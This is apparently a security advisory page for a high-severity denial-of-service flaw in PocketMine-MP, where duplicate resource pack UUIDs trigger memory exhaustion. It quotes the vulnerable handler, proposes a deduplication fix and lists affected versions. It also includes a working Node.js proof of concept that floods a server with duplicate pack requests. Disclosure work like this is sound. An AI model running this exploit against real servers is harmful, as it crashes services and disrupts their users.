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GHSA-fqqv-56h5-f57ghigh8.7

PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking

Impact

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.

Source excerpt · OSV
Applies when

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

What to do

Remove duplicates from the incoming packIds array.

OSV guidance

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Affected rangeRecorded fix
Earlier releases before 5.32.1Ecosystem versions5.32.1

Version evidence: OSV · GHSA-fqqv-56h5-f57g

View original version evidence (361 explicit versions)

Original source description

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.


Details

Relevant code (simplified):

case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
    foreach($packet->packIds as $uuid){
        $splitPos = strpos($uuid, "_");
        if($splitPos !== false){
            $uuid = substr($uuid, 0, $splitPos);
        }
        $pack = $this->getPackById($uuid);
        if(!($pack instanceof ResourcePack)){
            $this->disconnectWithError("Unknown pack $uuid requested...");
            return false;
        }
        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
            $pack->getPackId(),
            self::PACK_CHUNK_SIZE,
            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
            $pack->getPackSize(),
            $pack->getSha256(),
            false,
            ResourcePackType::RESOURCES
        ));
    }
    break;

Root cause:

  • The packIds array is taken directly from the client packet and processed as-is.
  • There is no check to ensure that all requested packs are unique.
  • A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
  • Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

  • Mojang's official clients never send duplicates in packIds.
  • PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix: Before sending packs:

  1. Remove duplicates from the incoming packIds array.
  2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
  3. Track which packs have already been sent to this player, and skip any that have already been transferred.
$alreadySent = $this->packsSent ?? [];

// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);

// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
    $this->disconnectWithError("Too many duplicate resource pack requests");
    return false;
}

foreach($uniquePackIds as $uuid){
    if(in_array($uuid, $alreadySent, true)){
        continue; // Skip packs already sent to this player
    }
    // existing code...
    $alreadySent[] = $uuid;
}

$this->packsSent = $alreadySent;

PoC

  1. Join a PocketMine-MP server with at least one resource pack enabled.

  2. Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:

    • status = STATUS_SEND_PACKS
    • packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;

const client = createClient({
    host,
    port,
    username,
    offline: true
});

client.on('spawn', () => {
    console.log('[*] Sending duplicate pack request...');
    client.queue('resource_pack_client_response', {
        response_status: 'send_packs',
        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
    });
});

Impact

  • Type: Remote Denial of Service / Memory Exhaustion
  • Who is impacted: Any PocketMine-MP server with resource packs enabled
  • Requirements: Attacker must connect to the server (authenticated player)
  • Effect: Server memory rapidly increases, leading to freeze or crash

References